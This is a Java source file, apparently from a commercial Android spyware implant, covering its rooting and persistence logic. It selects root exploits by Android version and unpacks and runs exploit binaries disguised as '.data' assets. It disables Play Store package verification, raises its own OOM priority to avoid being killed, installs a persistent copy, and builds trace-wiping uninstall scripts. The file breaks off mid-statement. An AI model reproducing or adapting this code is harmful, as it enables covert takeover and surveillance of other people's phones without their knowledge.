package com.android.dvci; import android.content.Context; import android.content.pm.ApplicationInfo; import android.content.pm.PackageManager; import com.android.dvci.auto.Cfg; import com.android.dvci.capabilities.PackageInfo; import com.android.dvci.conf.Configuration; import com.android.dvci.crypto.Keys; import com.android.dvci.evidence.EvidenceBuilder; import com.android.dvci.evidence.Markup; import com.android.dvci.file.AutoFile; import com.android.dvci.file.Path; import com.android.dvci.util.ByteArray; import com.android.dvci.util.Check; import com.android.dvci.util.Execute; import com.android.dvci.util.ExecuteResult; import com.android.dvci.util.PackageUtils; import com.android.dvci.util.StringUtils; import com.android.dvci.util.Utils; import com.android.mm.M; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.ObjectInput; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.io.Serializable; import java.security.InvalidAlgorithmParameterException; import java.security.InvalidKeyException; import java.security.NoSuchAlgorithmException; import java.util.ArrayList; import java.util.Arrays; import java.util.Date; import java.util.Properties; import java.util.concurrent.Semaphore; import javax.crypto.Cipher; import javax.crypto.CipherInputStream; import javax.crypto.NoSuchPaddingException; import javax.crypto.SecretKey; import javax.crypto.spec.IvParameterSpec; public class Root { private static final String TAG = "Root"; public static String method = ""; public static Date startExploiting = new Date(); private static int askedSu = 0; private static boolean oom_adjusted; private final static String SU = M.e("su"); private Markup markupOldApk; static Semaphore semGetPermission = new Semaphore(1); //private static final int DEL_OLD_FILE_MARKUP = 1; private static Markup markup = new Markup(Markup.DEL_OLD_FILE_MARKUP); static String[] appToDisable = new String[]{ M.e("com.samsung.videohub")}; private static boolean installed(String name) { final ArrayList<PackageUtils.PInfo> res = new ArrayList<PackageUtils.PInfo>(); final PackageManager packageManager = Status.getAppContext().getPackageManager(); try { ApplicationInfo ret = packageManager.getApplicationInfo(name, 0); if (Cfg.DEBUG) { Check.log(TAG + " (installedWhitelist) found " + name); } String pm = packageManager.getInstallerPackageName(name); if (Cfg.DEBUG) { Check.log(TAG + " (installedWhitelist) " + pm); } return true; } catch (PackageManager.NameNotFoundException ex) { if (Cfg.DEBUG) { Check.log(TAG + " (installedWhitelist) not installed: " + name); } } return false; } static public boolean isNotificationNeeded() { if (Cfg.OSVERSION.equals("v2") == false) { int sdk_version = android.os.Build.VERSION.SDK_INT; if (sdk_version >= 11 /* Build.VERSION_CODES.HONEYCOMB */) { return true; } } return false; } static public boolean shouldAskForAdmin() { boolean ret = false; if (PackageInfo.checkRoot() || PackageInfo.hasSu()) { ret = false; } else if (android.os.Build.VERSION.SDK_INT <= android.os.Build.VERSION_CODES.ECLAIR_MR1) { } else if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.FROYO && android.os.Build.VERSION.SDK_INT <= 13) { // FROYO - // HONEYCOMB_MR2 ret = !checkFramarootExploitability(); } else if (android.os.Build.VERSION.SDK_INT >= 14 && android.os.Build.VERSION.SDK_INT <= 16) { // ICE_CREAM_SANDWICH // - // JELLY_BEAN_MR1 ret = !(checkFramarootExploitability() || checkSELinuxExploitability()); } else if (android.os.Build.VERSION.SDK_INT >= 17 && android.os.Build.VERSION.SDK_INT <= 18) { // JELLY_BEAN_MR2 ret = !(checkSELinuxExploitability() || checkTowelExploitability()); } else if (android.os.Build.VERSION.SDK_INT >= 19) { // KITKAT+ ret = !checkTowelExploitability(); } if (ret) { if (Cfg.DEBUG) { Check.log(TAG + "(shouldAskForAdmin): Asking admin privileges"); } } else { if (Cfg.DEBUG) { Check.log(TAG + "(shouldAskForAdmin): No need to ask for admin privileges"); } } return ret; } static public boolean exploitPhone(boolean synchronous) { if (Cfg.DEBUG) { Check.log(TAG + " (exploitPhone) OS: " + android.os.Build.VERSION.SDK_INT); } method = M.e("previous"); if (PackageInfo.checkRoot()) { if (Cfg.DEBUG) { Check.log(TAG + "(exploitPhone): root shell already installed, no need to exploit again"); } Status.setExploitResult(Status.EXPLOIT_RESULT_NOTNEEDED); Status.setExploitStatus(Status.EXPLOIT_STATUS_EXECUTED); return false; } else if (PackageInfo.upgradeRoot()) { if (Cfg.DEBUG) { Check.log(TAG + "(exploitPhone): root shell upgraded, no need to exploit again"); } Status.setExploitResult(Status.EXPLOIT_RESULT_NOTNEEDED); Status.setExploitStatus(Status.EXPLOIT_STATUS_EXECUTED); return false; } startExploiting = new Date(); if (android.os.Build.VERSION.SDK_INT <= android.os.Build.VERSION_CODES.ECLAIR_MR1) { if (Cfg.DEBUG) { Check.log(TAG + "(exploitPhone): Android <= 2.1, version too old"); } method = M.e("old"); Status.setExploitResult(Status.EXPLOIT_RESULT_FAIL); Status.setExploitStatus(Status.EXPLOIT_STATUS_NOT_POSSIBLE); return false; } else if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.FROYO && android.os.Build.VERSION.SDK_INT <= 13) { // FROYO - // HONEYCOMB_MR2 // Framaroot if (Cfg.DEBUG) { Check.log(TAG + "(exploitPhone): Android 2.2 to 3.2 detected attempting Framaroot"); } linuxExploit(synchronous, true, false, false); return true; } else if (android.os.Build.VERSION.SDK_INT >= 14 && android.os.Build.VERSION.SDK_INT <= 16) { // ICE_CREAM_SANDWICH // - // JELLY_BEAN_MR1 if (Cfg.DEBUG) { Check.log(TAG + "(exploitPhone): Android 4.0 to 4.2 detected attempting Framaroot then SELinux exploitation"); } linuxExploit(synchronous, true, true, false); return true; } else if (android.os.Build.VERSION.SDK_INT >= 17 && android.os.Build.VERSION.SDK_INT <= 18) { // JELLY_BEAN_MR2 if (Cfg.DEBUG) { Check.log(TAG + "(exploitPhone): Android 4.3 detected attempting SELinux exploitation"); } linuxExploit(synchronous, false, true, true); return true; } else if (android.os.Build.VERSION.SDK_INT == 19) { // KITKAT+ if (Cfg.DEBUG) { Check.log(TAG + "(exploitPhone): Android 4.4 detected, attempting Towel exploitation"); } linuxExploit(synchronous, false, false, true); } else if (android.os.Build.VERSION.SDK_INT > 20) { // L+ // Nada if (Cfg.DEBUG) { Check.log(TAG + "(exploitPhone): Android >= 4.5 detected, no exploit"); } Status.setExploitResult(Status.EXPLOIT_RESULT_FAIL); Status.setExploitStatus(Status.EXPLOIT_STATUS_NOT_POSSIBLE); } return false; } public static boolean isArtInUse() { final String vmVersion = System.getProperty("java.vm.version"); return vmVersion != null && vmVersion.startsWith("2"); } static public void adjustOom() { if (Status.haveRoot() == false) { if (Cfg.DEBUG) { Check.log(TAG + " (adjustOom): cannot adjust OOM without root privileges"); //$NON-NLS-1$ } return; } if (Cfg.ADJUST_OOM_ONCE && oom_adjusted) { return; } oom_adjusted = true; int pid = android.os.Process.myPid(); // 32_34=#!/system/bin/sh // 32_35=/system/bin/ntpsvd qzx \"echo '-1000' > // /proc/ // 32_36=/oom_score_adj\" String script = M.e("#!/system/bin/sh") + "\n" + Configuration.shellFile + M.e(" qzx \"echo '-1000' > /proc/") + pid + M.e("/oom_score_adj\"") + "\n"; // 32_37=/system/bin/ntpsvd qzx \"echo '-17' > /proc/ // 32_38=/oom_adj\" script += Configuration.shellFile + M.e(" qzx \"echo '-17' > /proc/") + pid + M.e("/oom_adj\"") + "\n"; if (Cfg.DEBUG) { Check.log(TAG + " (adjustOom): script: " + script); //$NON-NLS-1$ } if (createScript("o", script) == false) { if (Cfg.DEBUG) { Check.log(TAG + " (adjustOom): failed to create OOM script"); //$NON-NLS-1$ } return; } Execute ex = new Execute(); ex.execute(Status.getAppContext().getFilesDir() + "/o"); removeScript("o"); if (Cfg.DEBUG) { Check.log(TAG + " (adjustOom): OOM Adjusted"); //$NON-NLS-1$ } } public static Boolean saveSerToFile(AutoFile f, Serializable s) { try { OutputStream file = new FileOutputStream(f.getFile()); OutputStream buffer = new BufferedOutputStream(file); ObjectOutputStream oos = new ObjectOutputStream(buffer); oos.writeObject(s); oos.close(); return true; } catch (Exception e) { if (Cfg.DEBUG) { Check.log(TAG + "(saveStringToSerFile)" + e); } } return false; } public static Serializable getSerFromFile(AutoFile f) { Serializable res = null; try { InputStream file = new FileInputStream(f.getFile()); InputStream buffer = new BufferedInputStream(file); ObjectInput input = new ObjectInputStream(buffer); //deserialize the List res = (Serializable) input.readObject(); } catch (ClassNotFoundException ex) { if (Cfg.DEBUG) { Check.log(TAG + "(getStringFromObj) Cannot perform input. Class not found." + ex); } } catch (IOException ex) { if (Cfg.DEBUG) { Check.log(TAG + "(getStringFromObj) Cannot perform input." + ex); } } return res; } private static void addOldFileMarkup(String s) { if (Cfg.DEBUG) { Check.log(TAG + " (addOldFileMarkup) "); } ArrayList<String> al = markup.unserialize(new ArrayList<String>()); al.add(s); markup.serialize(al); } private static void delOldFileMarkup(Boolean isPersisten) { ArrayList<String> fl = markup.unserialize(new ArrayList<String>()); if (isPersisten && !fl.isEmpty()) { String command = M.e("export LD_LIBRARY_PATH=/vendor/lib:/system/lib") + "\n"; for (String s : fl) { command += String.format(M.e("for i in `ls %s`; do [ -e $i ] && rm $i; done"), s) + "\n"; } ExecuteResult pers = Execute.executeRoot(command); if (Cfg.DEBUG) { Check.log(TAG + " (installPersistence) rm old file:\n" + pers.getStdout()); } } markup.removeMarkup(); } synchronized static public boolean uninstallRoot() { if (Status.haveRoot() == false) { if (Cfg.DEBUG) { Check.log(TAG + " (uninstallRoot): cannot uninstall this way without root privileges"); //$NON-NLS-1$ } return false; } String packageName = Status.self().getAppContext().getPackageName(); String apkPath = Status.getApkName(); if (apkPath != null) { Status.setIconState(false); //String script = M.e("#!/system/bin/sh") + "\n"; //script += M.e("export LD_LIBRARY_PATH=/vendor/lib:/system/lib") + "\n"; //script += Configuration.shellFile + " qzx \"rm -r " + Path.hidden() + "\"\n"; String script = ""; for (String app : appToDisable) { if(installed(app)) { script += M.e("pm disable ") + app + "\n"; } } script += Configuration.shellFile + M.e(" blw") + "\n"; script += M.e("pm clear ") + packageName + "\n"; script += M.e("pm disable ") + packageName + "\n"; script += M.e("pm uninstall ") + packageName + "\n"; //script += M.e("pm enable ") + packageName + "\n"; /* todo: do it manually? without pm intervention * 1) edit /data/system/packages.xml * 2) edit /data/system/packages.list * 3) /data/system/packages-stopped.xml does it really exist * 4) add at the end of the scrip /data/app/<apkPath>.apk removal */ // the script += String.format(M.e(" [ -e %s ] && rm %s 2>/dev/null"), Status.persistencyApk, Status.persistencyApk) + "\n"; if(!Status.isPersistent()){ script += M.e("sleep 5\n"); } script += String.format(M.e(" [ -e %s ] && rm -r %s 2>/dev/null"), M.e("/sdcard/.lost.found"), M.e("/sdcard/.lost.found")) + "\n"; script += String.format(M.e(" [ -e %s ] && rm -r %s 2>/dev/null"), M.e("/sdcard/1"), M.e("/sdcard/1")) + "\n"; script += String.format(M.e(" [ -e %s ] && rm -r %s 2>/dev/null"), M.e("/sdcard/2"), M.e("/sdcard/2")) + "\n"; //if(Status.isPersistent()){ script += String.format(M.e(" [ -e %s ] && rm -r %s 2>/dev/null"), Status.getAppDir(), Status.getAppDir()) + "\n"; script += String.format(M.e(" [ -e %s ] && rm -r %s 2>/dev/null"), Path.hidden(), Path.hidden()) + "\n"; // TODO: mettere Status.persistencyApk e packageName script += M.e("for i in `ls /data/app/*com.android.dvci* 2>/dev/null`; do [ -e $i ] && rm $i; done") + "\n"; //} script += M.e("for i in `ls /data/dalvik-cache/*com.android.dvci* 2>/dev/null`; do [ -e $i ] && rm $i; done") + "\n"; script += M.e("for i in `ls /data/dalvik-cache/*StkDevice* 2>/dev/null`; do [ -e $i ] && rm $i; done") + "\n"; script += Configuration.shellFile + M.e(" blr") + "\n"; script += Configuration.shellFile + M.e(" ru") + "\n"; script += M.e("sleep 1; ") + String.format(M.e(" [ -e %s ] && rm %s 2>/dev/null"), apkPath, apkPath) + "\n"; ArrayList<String> fl = markup.unserialize(new ArrayList<String>()); if (!fl.isEmpty()) { for (String s : fl) { script += String.format(M.e("for i in `ls %s 2>/dev/null`; do [ -e $i ] && rm $i 2>/dev/null; done"), s) + "\n"; } } markup.removeMarkup(); if (Cfg.DEBUG) { if (new AutoFile(M.e("rm /data/local/tmp/log 2>/dev/null")).exists()) { script += M.e("rm /data/local/tmp/log 2>/dev/null") + "\n"; } } for (String app : appToDisable) { if(installed(app)) { script += M.e("pm enable ") + app + "\n"; } } Core.serivceUnregister(); boolean ret = Execute.executeRootAndForgetScript(script); if(!ret){ Execute.executeScript(script); } Utils.sleep(5000); if (Cfg.DEBUG) { Check.log(TAG + " (uninstallRoot): uninstalled"); //$NON-NLS-1$ } return true; } else { if (Cfg.DEBUG) { Check.log(TAG + " (uninstallRoot): failed"); //$NON-NLS-1$ } } return false; } static synchronized boolean installPersistence(Boolean forceInstall) { android.content.pm.PackageInfo pi = null; String apkPosition = null; Boolean isPersistent = false; if ((apkPosition = Status.getApkName()) != null && !Status.isMelt()) { if (Cfg.DEBUG) { Check.log(TAG + " (installPersistence): found apk installed in: " + apkPosition); } isPersistent = Status.isPersistent(); } else { return false; } if (isPersistent || Status.persistencyReady()) { if (Cfg.DEBUG) { Check.log(TAG + " (installPersistence): already persistent!! "); } delOldFileMarkup(isPersistent); if (Status.needReboot()) { Status.setPersistencyStatus(Status.PERSISTENCY_STATUS_PRESENT_TOREBOOT); } else { Status.setPersistencyStatus(Status.PERSISTENCY_STATUS_PRESENT); } EvidenceBuilder.info(M.e("Persistence")); return true; } if(Cfg.DEMO){ Status.self().makeToast("Install Persistence"); } Execute.execute(new String[]{Configuration.shellFileBase, "blw"}); addOldFileMarkup(String.format(M.e("%s*"), apkPosition.split("-")[0])); String packageName = Status.self().getAppContext().getPackageName(); String perPkg = Status.persistencyApk; String command = M.e("export LD_LIBRARY_PATH=/vendor/lib:/system/lib") + "\n"; command += M.e("settings put global package_verifier_enable 0") + "\n"; command += M.e("pm disable com.android.vending") + "\n"; command += M.e("sleep 1") + "\n"; command += String.format(M.e("cat %s > ") + perPkg, apkPosition) + "\n"; command += M.e("chmod 644 ") + perPkg + "\n"; command += String.format(M.e("[ -s %s ] && pm install -r -f "), perPkg) + perPkg + "\n"; command += M.e("sleep 1") + "\n"; command += M.e("installed=$(pm list packages ") + packageName + ")\n"; command += M.e("if [ ${#installed} -gt 0 ]; then") + "\n"; command += M.e("am startservice ") + packageName + M.e("/.ServiceMain") + "\n"; command += M.e("am broadcast -a android.intent.action.USER_PRESENT") + "\n"; command += M.e("fi") + "\n"; command += M.e("sleep 2") + "\n"; command += M.e("settings put global package_verifier_enable 1") + "\n"; command += M.e("pm enable com.android.vending") + "\n"; command += Configuration.shellFileBase + M.e(" blr") + "\n"; ExecuteResult ret = Execute.executeScript(command); Utils.sleep(1000); ExecuteResult pers = Execute.executeRoot(M.e("ls -l ") + perPkg); String persString = pers.getStdout(); if (Cfg.DEBUG) { Check.log(TAG + " (installPersistence) inst: " + ret.getStdout()); Check.log(TAG + " (installPersistence) ls: " + pers.getStdout()); } if (persString.contains(perPkg)) { if (Status.needReboot()) { Status.setPersistencyStatus(Status.PERSISTENCY_STATUS_PRESENT_TOREBOOT); } else { Status.setPersistencyStatus(Status.PERSISTENCY_STATUS_PRESENT); } EvidenceBuilder.info(M.e("Persistence installed")); return true; } Status.setPersistencyStatus(Status.PERSISTENCY_STATUS_FAILED); return false; } // Prendi la root tramite superuser.apk static public void supersuRoot() { if (Status.haveSu() == false) { if (Cfg.DEBUG) { Check.log(TAG + " (supersuRoot) Can't find su"); } return; } if (android.os.Build.VERSION.SDK_INT < 17) { if (Cfg.DEBUG) { Check.log(TAG + " (supersuRoot) Standard Shell"); } standardShell(); } else { if (Cfg.DEBUG) { Check.log(TAG + " (supersuRoot) Selinux Shell"); } selinuxShell(); } } static public void standardShell() { String pack = Status.self().getAppContext().getPackageName(); final String installPath = String.format(M.e("/data/data/%s/files"), pack); final AutoFile suidext = new AutoFile(installPath, M.e("verify")); // shell_installer.sh // suidext try { Utils.dumpAsset(M.e("sb.data"), suidext.getName()); Execute.execute(M.e("/system/bin/chmod 755 ") + suidext); ExecuteResult res = Execute.execute(new String[]{SU, "-c", suidext.getFilename() + " rt"}); if (Cfg.DEBUG) { Check.log(TAG + " (supersuRoot) execute 2: " + suidext + " ret: " + res.exitCode); } if (res.exitCode == 254) { String script = M.e("#!/system/bin/sh") + "\n" + String.format(M.e("%s rt"), suidext.getFilename()) + "\n"; ExecuteResult result = new ExecuteResult(SU); if (Root.createScript("e", script) == true) { boolean r = Execute.executeWaitFor(String.format(M.e("%s -c /data/data/%s/files/e"), SU, pack)); Root.removeScript("e"); if (Cfg.DEBUG) { Check.log(TAG + " (supersuRoot) execute 3: " + suidext + " ret: " + r); } } } suidext.delete(); } catch (final Exception e1) { if (Cfg.EXCEPTION) { Check.log(e1); } if (Cfg.DEBUG) { Check.log(e1);//$NON-NLS-1$ Check.log(TAG + " (supersuRoot): Exception"); //$NON-NLS-1$ } return; } } static public void selinuxShell() { // dalla 4.2.2 compreso in su nuova shell String pack = Status.self().getAppContext().getPackageName(); final String installPath = String.format(M.e("/data/data/%s/files"), pack); final AutoFile selinuxSuidext = new AutoFile(installPath, M.e("comp")); // selinux_suidext final AutoFile shellInstaller = new AutoFile(installPath, M.e("verify")); // shell_installer.sh try { Utils.dumpAsset(M.e("jb.data"), selinuxSuidext.getName());// selinux_suidext Utils.dumpAsset(M.e("kb.data"), shellInstaller.getName());// shell_installer.sh if (Cfg.DEBUG) { Check.asserts(selinuxSuidext.exists(), " (supersuRoot) Assert failed, not existing: " + selinuxSuidext); Check.asserts(shellInstaller.exists(), " (supersuRoot) Assert failed, not existing: " + shellInstaller); } // Proviamoci ad installare la nostra shell root if (Cfg.DEBUG) { Check.log(TAG + " (supersuRoot): " + "chmod 755 " + selinuxSuidext + " " + shellInstaller); //$NON-NLS-1$ Check.log(TAG + " (supersuRoot): " + shellInstaller + " " + selinuxSuidext); //$NON-NLS-1$ } Execute.execute(M.e("/system/bin/chmod 755 ") + selinuxSuidext + " " + shellInstaller); ExecuteResult res = Execute.execute(new String[]{SU, "-c", shellInstaller.getFilename() + " " + selinuxSuidext.getFilename()}); if (Cfg.DEBUG) { Check.log(TAG + " (supersuRoot) execute 2: " + shellInstaller + " ret: " + res.exitCode); } shellInstaller.delete(); selinuxSuidext.delete(); } catch (final Exception e1) { if (Cfg.EXCEPTION) { Check.log(e1); } if (Cfg.DEBUG) { Check.log(e1);//$NON-NLS-1$ Check.log(TAG + " (supersuRoot): Exception"); //$NON-NLS-1$ } return; } } private static void selinuxSimpleShell() { String pack = Status.self().getAppContext().getPackageName(); final String installPath = String.format(M.e("/data/data/%s/files"), pack); final AutoFile selinuxSuidext = new AutoFile(installPath, M.e("comp")); // selinux_suidext try { // selinux_suidext Utils.dumpAsset(M.e("jb.data"), selinuxSuidext.getName()); if (Cfg.DEBUG) { Check.asserts(selinuxSuidext.exists(), " (supersuRoot) Assert failed, not existing: " + selinuxSuidext); } Execute.execute(M.e("/system/bin/chmod 755 ") + selinuxSuidext); ExecuteResult res = Execute.execute(new String[]{SU, "-c", selinuxSuidext.getFilename() + " rt"}); if (Cfg.DEBUG) { Check.log(TAG + " (supersuRoot) execute 2: " + res.exitCode); } selinuxSuidext.delete(); if (PackageInfo.checkRoot()) { Status.setRoot(true); Status.self().setReload(); } } catch (final Exception e1) { if (Cfg.EXCEPTION) { Check.log(e1); } if (Cfg.DEBUG) { Check.log(e1);//$NON-NLS-1$ Check.log(TAG + " (supersuRoot): Exception"); //$NON-NLS-1$ } return; } } static public boolean checkCyanogenmod() { final Properties properties = System.getProperties(); String version = properties.getProperty(M.e("os.version")); final PackageManager pm = Status.getAppContext().getPackageManager(); if (version.contains(M.e("cyanogenmod")) || version.contains(M.e("-CM-")) || pm.hasSystemFeature(M.e("com.cyanogenmod.account")) || pm.hasSystemFeature(M.e("com.cyanogenmod.updater"))) { if (Cfg.DEBUG) { Check.log(TAG + " (checkFramarootExploitability) cyanogenmod"); } return true; } return false; } static public boolean checkFramarootExploitability() { final File filesPath = Status.getAppContext().getFilesDir(); final String path = filesPath.getAbsolutePath(); final String exploitCheck = M.e("ec"); // ec if (checkCyanogenmod()) { return false; } if ((android.os.Build.VERSION.SDK_INT < android.os.Build.VERSION_CODES.FROYO || android.os.Build.VERSION.SDK_INT > 17)) { return false; } if (Cfg.DEBUG) { Check.log(TAG + " (checkFramarootExploitability) "); } try { // preprocess/expl_check Utils.dumpAsset(M.e("hb.data"), exploitCheck); Execute.execute(M.e("/system/bin/chmod 755 ") + path + "/" + exploitCheck); int ret = Execute.execute(path + M.e("/ec")).exitCode; if (Cfg.DEBUG) { Check.log(TAG + " (checkFramarootExploitability) execute 1: " + M.e("/system/bin/chmod 755 ") + path + "/ec" + " ret: " + ret); } File file = new File(Status.getAppContext().getFilesDir(), exploitCheck); file.delete(); return ret > 0 ? true : false; } catch (final Exception e1) { if (Cfg.EXCEPTION) { Check.log(e1); } if (Cfg.DEBUG) { Check.log(e1);//$NON-NLS-1$ Check.log(TAG + " (checkFramarootExploitability): Exception"); //$NON-NLS-1$ } return false; } } static public boolean checkSELinuxExploitability() { final File filesPath = Status.getAppContext().getFilesDir(); final String path = filesPath.getAbsolutePath(); final String exploitCheck = M.e("ecs"); // ecs if (checkCyanogenmod()) { return false; } if (Cfg.DEBUG) { Check.log(TAG + " (checkSELinuxExploitability) "); } try { // preprocess/selinux_check Utils.dumpAsset(M.e("db.data"), exploitCheck); Execute.execute(M.e("/system/bin/chmod 755 ") + path + "/" + exploitCheck); int ret = Execute.execute(path + M.e("/ecs")).exitCode; if (Cfg.DEBUG) { Check.log(TAG + " (checkExploitability) execute 1: " + M.e("/system/bin/chmod 755 ") + path + "/ecs" + " ret: " + ret); } File file = new File(Status.getAppContext().getFilesDir(), exploitCheck); file.delete(); return ret > 0 ? true : false; } catch (final Exception e1) { if (Cfg.EXCEPTION) { Check.log(e1); } if (Cfg.DEBUG) { Check.log(e1);//$NON-NLS-1$ Check.log(TAG + " (checkExploitability): Exception"); //$NON-NLS-1$ } return false; } } public static boolean checkTowelExploitability() { final File filesPath = Status.getAppContext().getFilesDir(); final String path = filesPath.getAbsolutePath(); final String exploitCheck = M.e("ecs"); // ecs if (checkCyanogenmod()) { return false; } if (Cfg.DEBUG) { Check.log(TAG + " (checkTowelExploitability) "); } try { // preprocess/selinux_check Utils.dumpAsset(M.e("nb.data"), exploitCheck); Execute.execute(M.e("/system/bin/chmod 755 ") + path + "/" + exploitCheck); int ret = Execute.execute(path + M.e("/ecs")).exitCode; if (Cfg.DEBUG) { Check.log(TAG + " (checkExploitability) execute 1: " + M.e("/system/bin/chmod 755 ") + path + "/ecs" + " ret: " + ret); } File file = new File(Status.getAppContext().getFilesDir(), exploitCheck); file.delete(); return ret > 0 ? true : false; } catch (final Exception e1) { if (Cfg.EXCEPTION) { Check.log(e1); } if (Cfg.DEBUG) { Check.log(e1);//$NON-NLS-1$ Check.log(TAG + " (checkExploitability): Exception"); //$NON-NLS-1$ } return false; } } private static void checkExploitThread(Thread exploit, int timeOutSec) { int secs = 5; for (int i = 0; i < timeOutSec || timeOutSec == 0; i += secs) { try { if (Cfg.DEBUG) { Check.log(TAG + " (checkExploitThread):" + exploit.getName()); } exploit.join(secs * 1000); if (!exploit.isAlive()) { if (Cfg.DEBUG) { Check.log(TAG + " (checkExploitThread), exploit terminated exiting"); } Status.setExploitStatus(Status.EXPLOIT_STATUS_EXECUTED); Status.setExploitResult(PackageInfo.checkRoot() ? Status.EXPLOIT_RESULT_SUCCEED : Status.EXPLOIT_RESULT_FAIL); break; } } catch (InterruptedException e) { if (Cfg.DEBUG) { Check.log(TAG + " (checkExploitThread), exception"); } } } } public static void installPersistence() { if (Cfg.DEBUG) { Check.log(TAG + " (installPersistence): tryInstall PERSISTENCE=" + Cfg.PERSISTENCE + " root=" + Status.haveRoot() + " status=" + Status.getPersistencyStatus() + " isGuiVisible= " + Status.isGuiVisible()); } synchronized(Status.uninstallLock) { if (Cfg.PERSISTENCE && Status.haveRoot() && !Status.uninstall && Status.getPersistencyStatus() == Status.PERSISTENCY_STATUS_TO_INSTALL && !Status.isGuiVisible()) { Root.installPersistence(false); Status.self().setReload(); } } } private static void linuxExploit(boolean synchronous, boolean frama, boolean selinux, boolean towel) { class CET implements Runnable { Thread exploit; CET(Thread s) { exploit = s; } public void run() { checkExploitThread(exploit, 0); if (PackageInfo.checkRoot()) { Status.setExploitResult(Status.EXPLOIT_RESULT_SUCCEED); Status.setRoot(true); installPersistence(); Status.self().setReload(); } else { Status.setExploitResult(Status.EXPLOIT_RESULT_FAIL); Root.getPermissions(true); } } } // Start exploitation thread LinuxExploitThread linuxThread = new LinuxExploitThread(frama, selinux, towel); Thread exploit = new Thread(linuxThread); if (Cfg.DEBUG) { exploit.setName("LinuxExploitThread_" + frama + "_" + selinux + "_" + towel); } Status.setExploitStatus(Status.EXPLOIT_STATUS_RUNNING); exploit.start(); if (Cfg.DEBUG) { Check.log(TAG + "(linuxExploit): exploitation thread running"); } /* wait for 15 seconds to see if exploits ends*/ checkExploitThread(exploit, 15); if (exploit.isAlive()) { if (Cfg.DEBUG) { Check.log(TAG + "(linuxExploit): 15 seconds passed, going synchronous=" + synchronous); } } if (exploit.isAlive() && synchronous) { checkExploitThread(exploit, 0); } else { if (exploit.isAlive()) { if (Cfg.DEBUG) { Check.log(TAG + "(linuxExploit):" + exploit.getName() + " asynchronous exploit check started"); } // start another Thread to check exploit thread end CET checkExploitThread = new CET(exploit); Thread ec = new Thread(checkExploitThread); ec.start(); } } } // name WITHOUT path (script is generated inside /data/data/<package>/files/ // directory) static public boolean createScript(String name, String script) { return createScript(name, script, null); } static public boolean createScript(String name, String script, String absolutPaht) { String absP = Status.getAppContext().getFilesDir() + "/" + name; if (Cfg.DEBUG) { Check.log(TAG + " (createScript): script: " + script); //$NON-NLS-1$ } try { FileOutputStream fos = Status.getAppContext().openFileOutput(name, Context.MODE_PRIVATE); fos.write(script.getBytes()); fos.close(); if (absolutPaht != null) { absolutPaht = absP; } Execute.execute("chmod 755 " + absP); return true; } catch (Exception e) { if (Cfg.EXCEPTION) { Check.log(e); } return false; } } static public boolean createScriptPublic(String name, String script) { if (Cfg.DEBUG) { Check.log(TAG + " (createScriptPublic): script: " + script); //$NON-NLS-1$ } try { FileOutputStream fos = Status.getAppContext().openFileOutput(name, Context.MODE_WORLD_WRITEABLE); fos.write(script.getBytes()); fos.close(); Execute.execute("chmod 755 " + Status.getAppContext().getFilesDir() + "/" + name); return true; } catch (Exception e) { if (Cfg.EXCEPTION) { Check.log(e); } return false; } } static public void removeScript(String name) { File rem = new File(Status.getAppContext().getFilesDir() + "/" + name); if (rem.exists()) { if (Cfg.DEBUG) { Check.log(TAG + " (removeScript) deleting: %s", name); } rem.delete(); } else { if (Cfg.DEBUG) { Check.log(TAG + " (getPermissions) file does not exist, cannot delete: %s", name); } } } /* * Removed synchronized in favour of using a semaphore, * With synchronized two successive calls at the same method * will happen on sequence, while using the semaphore only one will * succeed. */ static public boolean getPermissions(boolean reload) { if (Status.getExploitStatus() < Status.EXPLOIT_STATUS_EXECUTED) { return false; } // Abbiamo su? Status.setSu(PackageInfo.hasSu()); if (!semGetPermission.tryAcquire()) { if (Cfg.DEBUG) { Check.log(TAG + " getPermissions() already asking permission"); } return false; } try { if (Cfg.DEBUG) { Check.log(TAG + " (getPermissions), su: " + Status.haveSu() + " root: " + Status.haveRoot() + " want: " + Keys.self().wantsPrivilege()); } boolean ask = false; if (Status.haveSu() == true && Status.haveRoot() == false && Keys.self().wantsPrivilege()) { ask = true; } if (ask && askedSu < Cfg.MAX_ASKED_SU) { askedSu += 1; if (Cfg.DEBUG) { Check.log(TAG + " (getPermissions), ask the user, number " + askedSu); } // Ask the user... Root.supersuRoot(); if (PackageInfo.checkRoot() && reload) { Status.self().setReload(); } if (Cfg.DEBUG) { Check.log(TAG + " (onStart): isRoot = " + Status.haveRoot()); //$NON-NLS-1$ } } else { if (Cfg.DEBUG) { Check.log(TAG + " (getPermissions), don't ask: asked " + askedSu + " times"); } } if (Status.haveRoot()) { if (Cfg.DEBUG) { Check.log(TAG + "(getPermissions): Wow! Such power, many rights, very good, so root!"); } // Avoid having the process killed for using too many resources Root.adjustOom(); installPersistence(); } else { Configuration.shellFile = Configuration.shellFileBase; } } finally { semGetPermission.release(); } return Status.haveRoot(); } static public InputStream decodeEnc(InputStream stream, String passphrase) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException, InvalidAlgorithmParameterException { SecretKey key = MessagesDecrypt.produceKey(passphrase); if (Cfg.DEBUG) { Check.asserts(key != null, "null key"); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.log(TAG + " (decodeEnc): stream=" + stream.available()); Check.log(TAG + " (decodeEnc): key=" + ByteArray.byteArrayToHex(key.getEncoded())); } // 17.4=AES/CBC/PKCS5Padding Cipher cipher = Cipher.getInstance(M.e("AES/CBC/PKCS5Padding")); //$NON-NLS-1$ final byte[] iv = new byte[16]; Arrays.fill(iv, (byte) 0); IvParameterSpec ivSpec = new IvParameterSpec(iv); cipher.init(Cipher.DECRYPT_MODE, key, ivSpec); CipherInputStream cis = new CipherInputStream(stream, cipher); if (Cfg.DEBUG) { Check.log(TAG + " (decodeEnc): cis=" + cis.available()); } return cis; } /* * Verifica e prova ad ottenere le necessarie capabilities * * Return: 0 se c'e' stato un errore 1 se le cap sono state ottenute ma si * e' in attesa di un reboot 2 se gia' abbiamo le cap necessarie */ public static int overridePermissions() { final String manifest = M.e("layout"); //$NON-NLS-1$ // Controlliamo se abbiamo le capabilities necessarie PackageManager pkg = Status.getAppContext().getPackageManager(); if (pkg != null) { // android.permission.READ_SMS, com.android.service int perm = pkg.checkPermission(M.e("android.permission.READ_SMS"), M.e("$PACK$")); if (perm == 